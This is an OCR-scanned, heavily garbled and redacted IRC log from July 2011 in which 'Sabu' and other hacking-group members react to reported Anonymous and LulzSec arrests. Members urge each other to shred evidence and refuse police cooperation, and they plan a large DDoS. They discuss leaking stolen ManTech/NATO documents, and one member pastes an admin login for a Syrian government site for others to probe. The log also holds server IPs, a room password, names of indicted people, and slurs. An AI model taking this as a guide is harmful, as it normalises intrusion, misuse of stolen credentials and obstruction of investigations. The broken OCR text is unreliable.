yeah did someone hack Fox News and post that? 
this is some weird shit 
hm 

maybe someone hacked .gov and faked that 
trying to log IPs? 

^ idk, but the story seems to check out. 
would be an epic troll :p 

where are the checkings out? 

about the jabber accounts, i mean tht if had you on his 

e police now know who is on there is he has oeen arrested 
I don't see it on the Met website 
in terms of info 

in the article 
ont mean compromised as in hacked etc.. 

yeah i really wonder where fox got that from 
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22: 
22; 
22; 
22; 



accounts 



#! sunnydays 

first to continue., 
one moment people 

...so a London arrest, and 

got it, for a moment thought 

(paranoid mode e nabled) 
joined this IRC 

ok can someone change 




log 



only 
they 



Fox News reports on 
published a list of 




22:53 
22:53 
to? 
22:53 
22:53 
22:54 
22:54 _ 
buddyl i sT 
22:54 <©Sabu> 

<| 

<@Sabu> 

.J,...„ 

well as one person in the UK 
Department of Justice said 



server ? 
the root 



passwords and things 
has quit [Ping timeout] 



it 

jabber 



had access 



IRC 

sjust 



server ? 

if they really bust 



they habve his 



22; 
22; 
22; 
22; 
22; 



54 
54 
54 
54 

54 





nope 

hasnt been with us at all for about a month 

sent him a leak 

CNET - Elinor Mills - a??10 minutes agoa?? 

sixteen people were arrested in the united States today in 
acking attacks by the Anonymous group of online activists, as 
and four people in the Netherlands, the US 



query 




when i came here first time 
I PM'd you the details 
Jont remember the date tho 

should keep all encrypted, including config files 

'Five additional suspects were arrested overseas a?? one in the 

United Kingd om and four in the Netherlands a?? for related crimes." 

22:55 <^^H anyway IMHO we should put up a private server like the old one, with 

SSL and password for join 

22:55 < g^^l this as the first step 

22:55 <(asabu> H 

<@Sabu> snut the fuck up 
< @Sabu> ju st stop talking 

<^^^^H "A spokesman for the Metropolitan Police told FoxNews. 
this spokesperson didn't tell any other UK press *facepalm* 
22:56 <@Sabu> ^^^^H might be bullshit 



22 
22 
22 



55 
55 
56 
56 



. com 



but 




to investigate this 
of Fox News and question him 



22; 


;59 


<i 


22; 


;59 


<i 


22; 


;59 


<i 


22; 


;59 


<i 


22; 


;59 


<i 


22; 


;59 


<i 


22; 


;59 




22; 


;59 


^ 


22; 


;59 




22; 


;59 


<i 


22; 


;59 


<i 


22; 


;59 


<i 


22; 


;59 


<i 


22; 


;59 


<i 


22; 


;59 


<i 


23; 


;00 


<i 



only peop 
23:00 



year 

someone should contact met and ask for confirmation 
calling BS here 
? 

hm we could ask a favor to yasmine 
we did it lot for them 

so let's contact Jeremy A Kaplan 
the guy who wrote that story 
hold on, I'll get him 

fascinating, he only writes like 3 stories a month, and he 
scoop on a LulzSec arrest 
r being trolled 

shall we put together some sort of press release? 

why, Sabu? 

yeah it feels like bs 
also what for 

FREE NIGGA! !!!!!!!!!!!!!! 

has joined #! sunnydays 
mode/#! sunnydays L+o by Chanserv 

Sabu> joking 

we need to find out whats going on first, anyway 
lol 

hi 

n foxtrollz 
whats the news guys? 
old dem horses, I'm contacting Fox News right now 
^^m^^ HHH apparently arrested, but Fox News are the 
e entire womoj that have reported on it 





and apparently 



they got it directly 
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pos 

23 

des 

23 

enc 

23 

it 

23: 

23: 

23: 

Ou 

23: 

23: 

23: 

23: 

23: 

cal 

23: 

23: 

tod 

i nd 

23: 

23: 

23: 

23: 

23: 

23: 

23: 

23: 

23: 

23: 

23: 

23: 

23: 

23: 

23: 

23: 

23: 

23: 

23: 

23: 

23: 

23: 

onl 

23: 

23: 

23: 

23: 

23: 

23: 

23: 

23: 

me 

23: 

23: 

23: 

23: 

23: 

23: 

23: 

23: 

23: 

23: 

23: 

pi n 

23 

23 

23 



#!sunnydays.log 

ted a stat ement 

00 <^^m we should verify the information first before we suffor from 

1 nfo rmation 

00 <€pi^H could u start encrypting all and shredding what not needed or not 
rypted (if u didnt do it alreadyAO 



00 < 




therefore we're questioning the particular journalist who wrote 
ok 

wi 1 1 do 

so Kaplan has posted about Lulzsec before on his personal site 



trying to find his number 

uhmmm 
hi 

tar -czvt all and then openssl aes256 -a -salt to a text file 

led l og or some thing 

05 <(£^H^^^H ^m^DL^h National Police Agency arrested four individuals 
ay for alleged" related cybercrimes, according to a Department of Justice 
i ctment . 

^e^Tim was around some min ago 

that was very likely antisecnl 

nothing to do with 




yes I think the dutch arrests were antisecnkl 
hops on i rc 

someone basically did the doxing for them :1 

08 <@Sabu> I will suck his cocks 

09 <@Sabu> and punch him so hard his anus explodes 
09 <^^H i would not even talk to him 

09 < gsapu> sigh if hes locked up 

09 <^H^| since we cant verify that its him? 

09 < (asabu> tha t is true 

09 <^^^^^H we can 

09 <^^^^^^| possibly 

09 < g^^^^ we need an unique information to verify his identity 

10 < ^B^J or we mig ht get SEd by feds 

10 <€^^^^H I have a question I can ask that he is likely to be the 

y persontoKnowtne answer of 

it's not a 100% guarantee 
but it gives an idea 

are there any chances he would cooperate with law enforcement? 
_ ok 
same" 

if this is possible we cant verify anything 
since he could be compromised 
right non of the passwords for the lulzsec site work 




pasted 

11 <(asabu> what about the cloudflare login or internet. bs site? 

11 <©sabu> if they really arrested him and hes giving them the logins 

11 <9i^| i dont have those 

11 < (3Sabu > then 

11 <^^H just the shell access passwords 
11 <^|^| but they wont work 

11 < (gSapu> e xpect a stupid domain takeover message from ICE later 

12 <(£^^^^| well if that happens we at least have confirmation :/ 
12 <@Sabu> indeed 

12 < g— :- \ 

12 <^^^^B why do we ever cooperate with feds if all say nothing they cant 

shi t on us or them 

12 <^|^| they bluff you 

13 <@SaDU> exactly, they need to prove you are you first 
13 <@Sabu> unless of course they got other evidence on you 
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#! sunnydays .log 

and say x said blah blah, and they have evidence to show something 



i would never do it for any reason 

which would be very hard in my case 

uhm. . 



23:13 <(< 
things 
23:13 <(< 
23:13 <<i 
23:13 <(i 

23:13 < gsabu> they'll even say shit like well we got 

http : //^^^^Snews . com/sci tech/2011/07/19/excl usi ve-f bi -search-war rants-nati onwi d 
e^hunt-anonymous/ 

they cant force me to open my encrypted archives if i cant even 

but if was arrested., someone should have some evidence about 



and she told us this 




23:14 <(dsabu> 
23:15 <' 
23:16 <' 
23:16 <' 
txt file 
23:16 < 
23:17 < 
23:17 



and they cant pin something on us without proof 
Sabu > you shouldnt have anything to encrypt anyway mate 
and this sounds like a shit 

and if ddos is proof shit my ass 
what if i was apart of a botnet 
look at other chan 

what TT 

\ 

fun thing is if they manage to bruteforce it they will just get a 
feds suck feds suck 10 million times down 
: P 

btw 

U.S. Taw enforcement officials confirmed to FoxNews.com..." 
so t hat info came not from met probably but usgov 
^^HB check pm 
(&Sabu> wn^H/oul d the usgov give them direct confirmation 



sayi ng 





< 

23:17 < 
23:18 < 
23:18 < 

23:18 <@Sabu> wtf 
23:18 
23:18 

23:19 

enforcemen 
yourself 
23:19 <' 
23:20 < 
23:20 < 
23:20 < 

23:20 <©Sabu> don 
23:21 < 
23:21 < 
23:21 < 

23:21 < 

do cert ain thin gs 
23:22 <^^^^H wait are we doing big ddos tomorow? 
23:22 < gsaPu^ io 

23:23 <^H^| hmm, i just based any possible defense on 
23:23 <(aSaDu> hahahaha 
23:23 <(asabu> you do realize 



thats interesting 

also, public service announcement - if you cooperate with law 
wnen arrested you are a fucking retard -_- you will only incriminate 

and others 
use your right to stay silient 
thats what i would do 
indeed 

t panic 

also I'd advise all of you to do some armchair lawyering 
and read up on what your rights are 
wherever you live 

especially the websites that explain you how you don't have to 





I did it for the lulz' 



23:23 < 



lol 



23:23 <@Sabu> when they get me 
23:23 <@Sabu> I'm getting martyr'd 



23:23 < 
23:23 < 
23:23 < _ 
hear this 



03:19 < 
03:19 < 

03:19 

1 nformati on 





know more than I myself would. 



the ddos 
tomarrow 

what do you mean tomorrow? what channel did you 



Best to speak to a rank in that channel as they would 



23:23 < 

23:23 < 

23:23 < 

23:24 < 




03:20 < 
03:20 < 
hmm. . 

wat? 



oh operation antisec, huge ddos tomarow 
well thanks anyway 



23:24 <(asabu> people making shit up 




if you get into contact 

with any of the arrested 

><@Sabu> I'm getting martyr'd 
http : //pastebi n . com/ddPgpyCP 

u iz 
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23:25 < 
23:25 < 
23:26 




# lsunnydays.log 
in the US that is 
(and yes, it's legit) 



23:27 <®SaDU> fnny thing is mostly everyone from this crew is foreign 
23:27 <@Sabu> so that advice only helps my american ass 
yes, but if you get into contact 
with any US based arrested anons 
pass that on :P 



23:27 
23:27 



27 < 




23: 

23:29 <(< 

http : //www. cou ri ermai 1 . com . au/news/breaki ng-news/ 

1 ulzsec- hacker- squad -arrested-i n-london/story-e6treon1 



lal 1 eged-1 eadi ng-member-of - 
-1226098069081 



23:29 <G 
23:29 <G 



A 

poor^MM^_-\^ 

23:30 <@Sabu> ^^■■l^H^H ©anonymouSabu : we are Anonymous, we are Legion. We 
don't forget, w^oorr^^^r^^e . Expect us. #antisec ... http://tmi.me/dePJc 
23:30 <@Sabu> lets show niggas weaint scared 
23:30 <@Sabu> and if we confirm is knocked 

23:30 <@Sabu> you already know 
23:31 <©Sabu> fuck me 

was relatively close to 



23:31 <(asabu> 



23:31 <@Sabu> this will make sense if hes knocked 




23:31 < 

23:31 < 

23: 31 <(dsabu> 

23 : 31 <@Sabu> an 
23:31 < 



whats going on with anonops :1 



has been logging like crazy 
is 100% cooperating 

RTed 



23:32 <@Sabu> he probably fucking took 



or 



<@Sabu> FUCK 

23:32 <@Sabu> FUCK FUCK FUCK FUCK 



shopped 




you were close to 
go protect his ass 



down 



too. I hope your ass is safe 



ey're saying tops in .nl 
fuck fuck fuck fuck fuck fuck x300 fuck 
hate him 

<Sabu>H^^H go protect his ass 
<Sabu>tne^Te saying tops in .nl 
^ wdymean? 

isabu> It was a joke. got them sexy bunz 

iSabu> question 
23:35 <@Sabu> who here is identifiyable by either ^| 
23:36 <^^^^M sean nessuno maybe 



or 



23:36 
23:36 




1 dont think i am 
hmm also 

03:40 < bt> 



Name: Solomon Sal eh 



that was his fake info 
was obvs. to late for that 



23:36 < 
23:36 < 
23:36 < 

23:36 <©Sabu> interesting if they raided a fake nig? 

me not, just normal chats but nothing perosnal 
Sabu: yeah., i wonder... 
that would be so epic 



Location: London, UK 



23:36 < 
23:37 < 
23:37 < 




23:37 <(asabu> indeed 

23:37 <©Sabu> hope that kids sues the met 



23:37 
23:37 



but why they said 



23:37 < 
23:37 < 
23:37 



hmmmm if they got th is solomon guy and it was a fake guy obvs they 

going to report it as being 
23:37 <(asabu> true 

they might not know it yet 
ohlol , & Sabu 

mean., generally cops do not raid first to check if the 

true 

didnt get that = 

xD 

because the jester fags thought it was 

hm. . .dont know 
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#! sunnydays .log 

al so 

Solomon sal eh 
was not 16yo 
afaik 

ftsaDu> reddit co-founder was anonymous? 
http : //news . cnet . com/8301- 31001_3-20080754-261/promi nent-web-acti vi st-ar rested-ov 

er-data -theft/ ?part=rss 

23:39 <(^V^V u have to wait, ur not considering as possible they were being 

more sophisticated on this than rely on fags dox sheets 




23:39 < _ 
Guardi an" 

< 
< 
< 

<| 
<| 
<| 
<| 




I was social ing 
that faggot 



hi guys, not sure if you've heard, but my source from the 

just told me that the Mets have confirmed an arrest in London 
and Sabu, I was /not/ close to Bl^^ 
it's offensive to think anyone m<es 
:D 

those passwords didn't work :( 

got them directly from 
urgh, uh-oh 

hold on gonna ask for more details from Guardian 
should u remember you the gchq hacker killed in london summer 



23:40 
23:40 
23:40 
23:40 
23:40 
23:41 
23:41 
23:41 
2010 

23:41 <©Sabu> wait 
23:41 <©Sabu> wait 
23:41 <©Sabu> wait 
23:41 <t3lfm ? 

23:41 <@SaDU> tell him to meet us in #buccaneers on anonops or somewhere safe to 
talk 

23:42 <g^B 
23:42 <©Sabu> 
23:42 < 

anonops proper 
23:42 <(asabu> 

<| 
< 
< 



23:42 
23:42 
23:42 
23:42 
23:42 
23:42 
23:42 
23:43 
23:43 
23:43 
23:43 
23:43 
23:43 
23:43 
23:43 
23:43 
23:43 
23:43 
23:43 
23:44 
23:44 



yeah he has axx there 

c 

Sabu: ok for me to join there as well? if I can get back onto 
y that is 

add ^^^g also 

wi I I do 

who was killed :S? 

Sa5U> IF IS SAFE 




<@Sabu> YO 

<@Sabu> I WILL FUCK 

<@Sabu> ING 

<@Sabu> MASS HUMP YOU ALL 

^chq hacker 

Sabu> except thats my lil sis<3 

he wasTeaxing info 

Sabu> who? 

summer 2010 london 
the one who leaked the notw scandal was found dead, too 
he was cut in pieces 

"suicide" 
0 killed him :S 
of course. 

anyone has a working anonops leaf? 
I'm not having much luck 



http : //www. i ndependent . co . uk/news/uk/home-news/hacki ng-whi stl ebl ower-sean-hoare-f 
ound-dead-at-his-home-2315880.html 
cure works 
got IP? 

should search for the gchq one 
come on ppl u dont remember that? 
i rc. anonops. li [194.8.74.43] port 6697 

he was under 

is NickServ down? 
oh it's up 
maybe not 
75.228.146 6667 
working fine 

t whos comming to anonops? 
<Kryptix> hey, who is actually involved or 'in charge' here? i 




really wanna get involved, i'm 



from the UK and have been following for ages n 
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23:46 
23:46 
23:46 
23:46 
23:46 
23:46 
23:47 
23:47 
23:47 
23:47 
23:47 
23:47 
23:47 
23:47 
23:47 
23:47 
23:47 
23:47 
23:47 
23:47 
23:47 
23:47 
23:48 
23:48 
23:48 
23:49 
23:49 
23:49 
23:50 
23:50 
23:50 
23:51 



23:51 
23:51 
23:51 
23:51 







#! sunnydays .log 
i currently ignore all queries on anonops 
got tha t one too 
same to me 

whataBout 6697? 
trying now 

i 'm using 6667 

y not ssl? 

who are you meeting on anoops? 
no 

* connecting to 94.75.228.146 (94.75.228.146) port 6667... 

* Connected. Now logging in... 

* *** Looking up your hostname... 
okay, 6697 works but NickServ is down, is this confirmed? 

on thecure services are up 
i m on thecure 
services up 

is thecure? 

i rc. anonops. li [194.8.74.43] port 6697 



which IP 
01:48 < 

thanks man 
connects 
m offline 
bye 
cya 

sail sate 




has quit [input/output error] 

in the air and throw her to anonops 




hy is everyone going to anonops? 
go go go 
1 can't connect : ( 
just curious who you meeting there? 

some others like a9 nessuno 
oh :( i thought it was 
sorry 

oping it was :( 
<3 

it's ok 
the story could be true 

Mets did confirm a London arrest 
they confirmed it just now 
em. . 
people 

WHAT THE F UCK? 

-NickServ- is 

-NickServ- ^^nme registered: Jul 19 

NickServ- Last seen time: Jul 19 

ickserv- Last quit message: Banned 



19: 
19: 



58: 
58: 



32 
32 



2011 
2011 



EDT 
EDT 



and 



yes 



jack 





■ 

ckname ta 



# lounge &#help &#vhost ^ntisec #opnewbl ood 

Anonops :AnonOps 
is a Servi cesAdmi n on AnonOps 
is available for help. 

is logged in as 

ropped his nick 

is a registered nick 

End of WHOIS list. 

taked? 



u> 



think was 
> ago 



what 

so are we sure that 
nobody can be sure yet 

There was a confirmed arrest in London of 



was arrested? :-\ 



this afternoon (GMT (in the last 9 hours)). 
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23:55 < 

23:56 < 

23:56 < 

23:56 < 

23:56 < 
that one 

23:59 < 

23:59 < 




#! sunnydays .log 
that's all we know at this point 
afternoon gmt? 
hm 

interesting 

actually it might not have been afternoon GMT, 



don't quote me on 



referring to buccaneers talks 
i insists u should go conference.ccc.de 
— Day changed wed Jul 20 2011 
00:00 <^^BH and add otr to 

00:00 <^^^The individuals namea in the San Jose indictment are: Christopher 
Wayne Cooper, 23, aka .Anthrophobi c ; . Joshua John Covelli, 26, aka .Absolem. and 
.Toxic;. Keith Wilson Downey, 26; Mercedes Renee Haefer, 20, aka .No. and .mmmm;. 
Donald Husband, 29, aka .Ananon;. Vincent Charles Kershaw, 27, aka ■^■■^^H 
and .Reaper;. Ethan Miles, 33; James C. Murphy, 36; Drew Alan Pr^^^^ 
aka .DrewO lO; . Jeffrey Puglisi, 28, 
00:00 <(^^^mhmm 

00:01 <<S^t^^M still puzzled by this, it's said above that paragraph that these 

arrests were for paypal in december 

00:01 

http ://www^bi . gov/news/pressrel/press-rel eases/si xteen-i ndi vidual s-arrested-i n-t 
he- united- states -f o r- al leged- roles -in -cyber-attacks?utm_medium=twitter&utm_source 
=twi tte rfeed 

00:01 <(£^^^^H now, and no have been arrested before. is waiting for 

Grand Jury verdict 
00:01 <^ 

^www . al eppowakf . gov . sy/i ndex . php?page=Arti cl e&op=Detai 1 s&i d=83 /// 



<nonak>http 
User : Admin 
00:01 
00:01 
00:01 
00:02 
00:02 
00:02 




Password : 1 

just got that PM 
o wtf are they arrested again? 
and could have been arrested for conspiracy 

you carT^oe charged twice in the same case 
this all makes no real sense to me 
because they know them already and they know they r still 



parti CI patn ng mg on ire 



00:02 
00:02 
00:02 
00:02 
00:02 
00:02 
00:03 
00:03 
00:03 
00:03 
00:04 
00:04 < 
00:04 <' 
00:04 < 
00:04 < 
00:04 
00:04 
00:04 
00:04 
00:05 
00:05 
00:05 
00:05 
00:05 
00:06 
00:06 
old vbox' 
00:07 < 
00:08 < 
00:10 < 





not the same case 

_ if someone has some time 
yes for same case 
but conspiracy in terrorist acts 
look into the above login 
ead the gov statement 
it's for attacking paypal in december 
lol 

at least. . . 

they ordered their arrests cause they built the case 
first time they were raided 

no they cant arrest for that 

with the proofs they got 

its not possible unless... the grand jury has spoken a verdict 
they can arrest them permanentely 
until trial 

need to talk to ^^^^ he's not around tho 
but trial could be starting 
they are said to be in court today 
also stated in same article 

i cant read the article now 
i m just guessing by logic 
I'm following some feeds and news going up :-\ 

someone know the mobile number? i had it first to delete the 

shit! 

able to send a text to 

yup ■ 
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00:11 
him n 
00:12 
00:12 
coord 
enfor 
00:13 
00:14 
00:14 
think 
00:16 
00:16 
00:16 
00:16 
00:16 
00:17 
00:17 
00:17 
00:17 
00:17 
00:20 
00:20 
00:20 
00:20 
00:20 
00:20 
00:20 
00:20 
00:21 
up CO 
00:22 
00:24 
00:24 
00:24 
00:26 
00:26 
00:26 
00:27 
00:27 
00:27 
00:27 
00:27 
00:28 
00:28 
00:28 
00:28 
00:29 
00:29 
00:29 
00:29 
00:29 
00:29 
00:29 
00:30 
00:30 
00:30 
00:30 
00:30 
00:31 
00:31 
00:31 
00:31 
00:31 



#! sunnydays . log 

<^^g i should have an other one anonymous SIM card, if we will find back 
umber i can send to him a text :-\ 

^^^^^^^^H^mH has quit [Ping timeout] 

<«H ■^■■H systemwasTaentTTTe^ allegedly being used in a 
1 natea c^^^^uted denial of service attack against several companies, a law 
cement official told FOXNews.com. 

<mm_^-\ 

< (^B^^ to be honest i think u r messing the things up 

<(g^^^^ go jabber secret rooms for the moment and then take time to do the 
s better 

freaking out will not improve our security 
uhm.. other weird thing.. 

22:56 ^^^^M Tl^^^^^^^^B III fi imi timeout] 

00:15 ^H^^H l^^^^^^^^^^^^^^^H has quit [Ping timeout] 

:-\ 
al so 

same 

in the same ping timeout time 
no good., people... no good! 




disappeared from jabber too 



SILC at chinacheep.com 
? 



port 706 



see if you can connect 

emme check 

I have absolutely never used SiLC before but I think it's set 



<@Sabu> ok 



wel 1 

i guess nobody will listen 
remme try 

where is possible make the registration ? 

I have no clue 

'm i n 
room ? 

_ hm did u /load silc ? 
"T'm using pidgin 

after pass /connect -silcnet fdfdfd.coffd 
7 

wait 

you re in the room? 

no 1 do not know the room name 
oh 

#Buccaneers 
password ohai 
■ m i n 

)ut no other people up 
sec 
imm 

I dont see you . . 
ITent said that i'm the founder 
of this room 



A 



yes 



00: 
00: 
00: 



31 
31 
31 



00:31 
00:32 



uh 

you connected to chinacheep.com 

right? 



not appear in the logs 
as having connected 
see you 

can you see me talk? 
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00:32 
00:32 
00:32 
00:32 
00:32 
00:32 



was there lag? 




#! sunnydays .log 



how your connection doesnt show up in silcd.log 
ah 

there it shows 
wtf , lag 

say something on there 
and I will respond on here 
when I receive it 
lagtest :P 
lolyes 
I read you 



00:35 
00 
00 




ok 

good 

then everything should be running 

: > 

right guys im gonna get some sleep <3 u all 
xoxox 
nn <3 

night 

<3 

ke rpi a- F44DBA12 . f ckh8 . 1 ssnts . s-and reas . gi ganode . net] has 

Lost terminal] 



get a SiLC-capable client 
pidgin or something 
and connect to chinacheep.com: 706 
xchat's not compatible right? 
not sure 

pidgin supports SILC 
l^^l can support SiLC as well 
tnere may be something for xchat but not sure 
room name is #Buccaneers 

password is ohai 

agh 

* Looking up 173.208.128.100 

* connecting to 173.208.128.100 (173.208.128.100) port 706. 

* Connected. Now logging in... 

I just get stuck on this 

II go 
retry a few times 
it appears to be spotty 
idk why 



00:40 
00:40 
00:41 
00:41 < 
00:43 < 
00:43 <' 

00:43 <' 

00:46 <@Sabu> 

http : // i deal ab . tal ki ngpoi ntsmemo . com/2011/07/f bi -arrests-college- students-cash 
s-and-a-landscaper-for-anonymous-hacks.php that guy ^^^^^^^g got hit too 



00:48 
00:48 

00:48 
would not 
00:48 




hmm was he on i rc? 
agh 

why do you guys think 

up 

gonna be so mad if it was because of 
don't 



got hit, it just seems that 



00:49 <(asabu> I 
00:49 <(asabu> honestly 
00:49 <©Sabu> I am waiting for 
00:49 <(asabu> but then again i 
okay my second 



00:49 
00:49 



to hop on ire. 
______ is smart 

me seemed a bit off 
e'll take this opportunity and disapear 
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#! sunnydays .log 
00:49 <©Sabu> so we may never know the truth 

he told me 11 hours ago that he didn't want to leave us hanging 
need someone watching this case for us 

dunno if he'd do that 

it will sure tell if it was 
dpending on the charges etc 

I'll ask Parmy to try and see 



appears in court 

she can get there, she's in London 
she went to ^^^^ 
cool 

still waiting for a report on the Met site 
i thought they confirmed? 
on the phone to Guardian, yeah 

but I'll believe it more when I see the words on the Met site 
and describing what is charged with 

ah k 

that would indeed be most interesting to know 

i ndeed 

ok i 11 put it all better 
si 1 c 

type: /load sil c (you 1 1 be asked for 
connect -silcnet ^^H^^H chinacheep.com 





or silc server on 

and then retype it agaTn 
silcnet #buccaneers ohai 



00 
00 

00:51 
00:51 
00:51 
00:52 

00:52 

00:53 <(cfsabu> 
00:55 <' 
00:55 < 
00:55 < 
a passwor 
706 /join 
00:56 <■ 
00:56 < 
00:56 <G 

00:57 

01:02 <@Sabu> oh 
01:02 <@sabu> gentlemen 

01:03 <@Sabu> lulzsupports giving 

mi nutes^ 

01:03 <^^^^^H Based on the twitter info associated with the Twitter account, 
they visited his website at kobrascorner.com and did a Google search for his 
"voodoKobra" screenname. They turned up his wikipedia user page, which listed his 
real name as Scott Arciszewski. They compared his drivers license photo to the 
avatar on his account on hackforums.net and on his Facebook profile. 




checks #lounge for missing camwhores 



that mantech shit I think in a few 



01:03 < 
01:04 <' 




01:07 
01:08 
01:08 

01:08 <@Sabu> thats dumb 



that's just., i dont even. 

aka something anyone can do in 10 minutes 



maybe minus the drivers license bit heh 
but I forgot for a moment that law has that power 
e was testing a vuln. 



01:09 



attack sometm ng in the UK. 



why does it seem the Mets strike a couple of days after we 



01:09 <' 
01:09 < 
01:09 < 




they will be mad that he doesnt know 



hits SOCA, they take 
we hit Sun, they take 
2-3 days after each 

01:11 <(asabu> yup 
01:11 <@Sabu> its easy brother 
01:11 < (asabu> l ets dissect this 
01:11 <(£^^^^H if it really was 
anything about the sun 

01:11 <@Sabu> if we continue to own uk targets, and they do not react 
01:11 <@Sabu> they will fear a revolution in the uk 
01:11 <@Sabu> this is there way of scaring people 
01:11 <@Sabu> into sitting down 
01:12 <(asabu> FUCK that! 
01:25 <(asabu> 01:22 
screenshot of the faT 

photoshop-curves , comes out "yJorgan". Try yourself. Thanks for what you do. 



Sabu, in the jester blog, in one post with a 
ie deleated a name in the adress bar, with 



01:37 < 
01:38 < 
01:43 < 



eating in ruins of 

01:43 <mm^m 

Statesville NC; 



lolwat 
link to blog? 

371 44-18289 Field artillerymen in 



bombed building near Lanfroi court. 
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01:43 <(< 
CPL Joe 

01:43 <<i 

Battery A, 

01:43 <f 

01:44 <(! 

01:44 <G 

01:53 <(asabu> 

01:58 <(< 

01:58 <C< 

01:58 <(£[Sabu>" 

01:58 <G 

01:59 <G 




#! sunnydays .log 

S/SGT Berkley Jorgan of Dothan AL; Martin Modeek of New York NY 
Conway of Aubry TX; and PFC Ed Gallardo of San Benito TX. 

20 OCT 1944, Musal , 166th Sig. 



FA BN, 35th Division, 
no wait, Jester wasn't alive in 1945 
_ rofl 

X 

i failed tried to buy some shells and ukash not accepted 
fucking shit 

operation payback <- 
why they put the ukash logo then???? 
lolol 

01:59 <(asabu> yo im going to get some food 
01:59 <@Sabu> brb 
02:00 <@Sabu> fuck 
02:00 <@Sabu> anonops died again? 
ya 

it seems so 

conf i rmed 

02:01 <@Sabu> no good 
02:03 <@Sabu> getting food brb brothers 
time for me to sleep 
night guise 
night H^^^g 
seems daoss^^ 
discofitta and corey work 
but services are gone 
hmm 
yep 

8df5f5c6.d10fa275.84e78e68.IP] has quit [User quit: 



02:01 < 
02:01 < 
02:01 < 




02:04 < 
02:04 < 
02:05 < 
02:19 < 
02:19 < 
02:19 
02:30 
02:47 
03:25 _ 
leaving 
03:26 
03:26 
03:28 
04:17 H 
1 eavi ngj 
04:18 
04:18 < 
04:19 
04:20 
04:20 
04:21 
04:22 
04:22 
04:24 
04:34 





[_(a9lAFDFCD. 5b ef5915. CEC56216.ip] has joined #! sunnydays 
#! sunnydays [+o ^^^^ by ChanServ 

wb 

BD48B2B5.ClF9627F.6FB8A685.IP] has quit [User quit: 

bd48b2b5.C1f9627f.6fb8a685.ip] has joined #!sunnydays 
IS anonops under ddos attack right now? 
alot of servers not responding from here :P 
yae, but its kinda back now .. a bit 
lemme find the ip 
93.114.43.188 

im on one of there servers 
but took a few tries to find a working ip 
Sabu: ? 



ooooooooooooooooooooooooooooooooooooooooooooooooooooooong.cat] has quit 

Ping timeout] 
04:44 <(asabu> back 
04:44 <@Sabu> im fucking drunk 
04:44 <@Sabu> german beef sake and cognac 
04:47 <@Sabu> yo 





04:59 
04:59 



^Rabu> yo 

04:59 <@Sabu> anyone up? 
< 



has quit [Ping timeout] 



05:00 

05:03 




for a litte while longer yes 
ooooooooooooooooooooooooooooooooooooooooooooooooooooooong . cat] has 




! sunnydays 
mode/#! sunnydays [+qo 

http : //www . scri bcl . com/ 
now it makes sense 
"The Grand Jury charges" 
so they did come to a result 
im going to bed nn guys 
Sabu> yo 



by ChanServ 
J2303/Indi ctment-7-19-11 



52 <@Sabu> gn 
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05:52 <@Sabu> so is it 



05:53 

05:54 

05:55 

days 

05:55 

05:55 




hevent 
Sabu : 



just a heads up 
?Sabu> well 



#! sunnydays .log 
from yet 

i might be not be able to get online much in the next 2 
nothing to worry, just stuff 



05:55 <©Sabu> life or hiding evidence stuff? 



05: 
05: 



55 <©Sabu> let me know in advance 

55 <~ 



lol just life 

05:55 <(asabu> ok 
05:55 <(asabu> good 

05:55 <'^^^^H but ill shred stuff too before 
05:55 <@Sabu> we ' re good 

05:56 <@Sabu> did you see that mantech shit? 
05:56 <(asabu> ROFL 
< 

05:56 J 



05:56 
05:56 




yup 

wow yes fuck 
this is huge 



05:56 <(asabu> so what you want to do 



05:56 <- 
05:57 <- 



i only looked at some docs and xls so far 
well, i would not want to release right now. 



as even if released 



as a nato leak, the files may indicate it came from her 



05:57 < 
now 

05:58 < 
05:58 < 
05:58 < 
05:58 
05:58 
05:59 
06:00 
06:00 
06:01 
(VSATS) 
06:01 < 
06:01 < 




would want to talk to 



and pwn first, what they want to do 



al so 

i want to look thru it more 
this is so big we can split 
and drag this for a few releases 
basically every doc is fucking interestinf 
i'll leave in 30 minutes... ill try to | 
ill look and sort the stuff a bit 
isabu> yeah 

it talks about nato operations in iraq, what voice comms they use 



in asap again 




06:02 <@Sabu> yup 



and all kinds of shit 

details about biometrics systems unit in baghdad 



06:02 <@Sabu> 
06:02 
06:02 
06:02 <- 

06:04 <@sabu> e: 




Its impressiv 

detailed info on camp forward compound etc etc etc 
nato will be raeging 
:D 
:X 

06:04 <(asabu> so 

06:04 <@Sabu> he has way more 

0 6^26H| 

[^^^^pooooooooooooooooooooooooooooooooooooooooooooooooooooooong . cat] has qui t 
.user quit: .] 



06:43 <' 
08:54 
08:54 



someone up 



7 



lanServ 



has joined #! sunnydays 



moae/#! sunnydays L+o _^ 

09:10 <(dSabu> I haven't been able to really sleep or nap 

09:10 < ©Sabu> ju st worrying about 

09:10 <(£^^^^H me too, no response 




rom him on twitter 



09:13 <' 
09:13 < 

09:14 <@Sabu> http://imgur.com/oyiQl thats how I figured 
09:15 <@Sabu> http://www.youtube.com/watch?v=jfmhVym7lDQ 
09:15 <(asabu> rofl what the fuck 
09:19 <©Sabu> http://i .imgur.com/qu2FQ.gif 



looked like 



09 

09 



35 <G 
35 <(! 



someone saw 



09:36 



or ^^^^^1 too ? 

no news since the ping timeouts messages 
here in IRC and in jabber 
09:37 <@Sabu> they should be alright 
09:37 <@Sabu> ^^^^^B i s moving around or something 
09:38 < @Sabu> J^ ^^^g was here chilling with us 
09:39 <«|H^StTiisis shit @ 
09:39 <@Sabu> what? 
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09 

09 

10 

10 

10 

10 

10 

10 

10 

10 

10 

10 

10 

10 

10 

10 

10 

her 

10 

10 

up 

10 

10: 

for 

10: 

10: 

10: 

10: 

10: 

10: 

10: 

10: 

10: 

10: 

10: 

10: 

10: 

10: 

10: 

11: 

11: 

11: 

11: 

11: 

11: 

11: 

11: 

11: 

11: 

11: 

11: 

11: 

11: 

11: 

11: 

11: 

11: 

11: 

11: 

11: 

11: 

11: 

11: 

11: 

tal 

11: 

11: 

11: 



by ChanServ 

& No. 



#! sunnydays . log 
40 <^H^^^| the situation 1s shit 

40 <©Sabu> yes it is 

23 |H U^H^^H^^H has joined #! sunnydays 

23 HB^oae/TTsunnyaaysT+o ^Hj 

23 <^^H just r ead that the^vS 

24 <@Sabu> yo yo ^^^^H 

24 < @Sabu > yeah ^^j^^^and didnt no was some broad 
<^^| And who is ^^^^^^^■■^^^^^^^■^ 

25 <@sam!i> ^^^^^^^g 

25 <(asabu> n^go^T^eased already 
25 <@Sabu> he posted onh is twitter 

25 <@Sabu> he is the guy that tested a vuln on inf ragard-tampa 

25 <@Sabu> and sent it to us 

26 <@Sabu> but they took it down as soon as we got it 
